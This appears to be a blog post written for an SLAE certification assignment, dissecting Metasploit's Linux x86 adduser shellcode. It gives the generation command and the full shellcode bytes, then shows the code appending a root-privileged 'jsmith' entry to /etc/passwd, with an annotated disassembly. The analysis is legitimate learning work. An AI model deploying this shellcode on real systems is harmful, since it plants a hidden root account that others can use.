A walk outside the sandbox

Home Blog Cheat Sheets MacOS Tips Area 51 About

[SLAE 5] Metasploit Shellcode Analysis



Metasploit Linux adduser shellcode analysis

This post is part of the 5th assignment of the SLAE course and will analyse the Metasploit linux/x86/adduser shellcode. First let’s generate the shellcode:

# msfpayload linux/x86/adduser USER=jsmith PASS=ok  C

This will generate a payload that will create a new root user, with uid and gid equal to 0.

 * linux/x86/adduser - 93 bytes
 * VERBOSE=false, PrependSetresuid=false, 
 * PrependSetreuid=false, PrependSetuid=false, 
 * PrependSetresgid=false, PrependSetregid=false, 
 * PrependSetgid=false, PrependChrootBreak=false, 
 * AppendExit=false, USER=jsmith, PASS=ok, SHELL=/bin/sh
unsigned char buf[] = 

To test it, I’ve integrated the shellcode into a C skeleton file and run against a Linux box:

# cat /etc/passwd | grep jsmith
# ./shellcode
Shellcode Length:  40 bytes
# cat /etc/passwd | grep jsmith
# su jsmith
# id
uid=0(root) gid=0(root) groups=0(root)

As we can see, the new root user was successfully created. Next I continued to disassemble it:

$ echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x6a\x73\x6d\x69\x74\x68\x3a\x41\x7a\x2e\x54\x4f\x53\x72\x67\x72\x4d\x36\x72\x6f\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" |ndisasm -b 32 -

First the shellcode restores the privileges, in case the running process would have dropped them:

00000000  31C9              xor ecx,ecx             ; Effective user id - 0
00000002  89CB              mov ebx,ecx             ; Real user id - 0
00000004  6A46              push byte +0x46         ; sys_setreuid16 syscall number
00000006  58                pop eax                 ; Sets real and effective user id
00000007  CD80              int 0x80                ; Fire the interrupt

Next, it will open the /etc/passwd file. The flags for opening the file will be set to 0x00000401: O_WRONLY|O_APPEND.

Note1: the mode for opening the file, which should have been in EDX register, is not specified because it is ignored for O_CREAT flag not specified:

00000009  6A05              push byte +0x5
0000000B  58                pop eax                 ; Prepare eax for sys_open syscall
0000000C  31C9              xor ecx,ecx             ; Set ecx to 0 
0000000E  51                push ecx                ; Push 0 to act as a null terminator
0000000F  6873737764        push dword 0x64777373   ; 'dwss'
00000014  682F2F7061        push dword 0x61702f2f   ; 'ap//'
00000019  682F657463        push dword 0x6374652f   ; 'cte/'
0000001E  89E3              mov ebx,esp             ; Filename: '/etc//passwd'
00000020  41                inc ecx  

Note2: the open syscall and the parameters can also be easily viewed using strace program:

# strace ./shellcode
open("/etc//passwd", O_WRONLY|O_APPEND) = 3 

The next part will write the jsmith:Az.TOSrgrM6ro:0:0::/:/bin/sh\n string to it (username and encrypted password):

00000025  93                xchg eax,ebx
00000026  E824000000        call dword 0x4f
; String starts  here -->
; jsmith:Az.TOSrgrM6ro:0:0::/:/bin/sh\n
0000002B  6A73              push byte +0x73
0000002D  6D                insd
0000002E  6974683A417A2E54  imul esi,[eax+ebp*2+0x3a],dword 0x542e7a41
00000036  4F                dec edi
00000037  53                push ebx
00000038  7267              jc 0xa1
0000003A  724D              jc 0x89
0000003C  36726F            ss jc 0xae
0000003F  3A30              cmp dh,[eax]
00000041  3A30              cmp dh,[eax]
00000043  3A3A              cmp bh,[edx]
00000045  2F                das
00000046  3A2F              cmp ch,[edi]
00000048  62696E            bound ebp,[ecx+0x6e]
0000004B  2F                das
0000004C  7368              jnc 0xb6
0000004E  0A. |--> String ends here

We then have to disassemble the instructions starting after the end of string (easily done in gdb):

00000051  51                push ecx
00000052  FC                cld
00000053  6A04              push byte +0x4
00000055  58                pop eax         ; sys_write syscall
00000056  CD80              int 0x80
; write(3, "jsmith:Az.TOSrgrM6ro:0:0::/:/bin"..., 36) = 36

Finally the shellcode calls the exit function to cleanly finish execution:

00000058  6A01              push byte +0x1
0000005A  58                pop eax         ; sys_exit syscall
0000005B  CD80              int 0x80


The complete source files and scripts mentioned in this post can be found in my SLAE Git repository.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification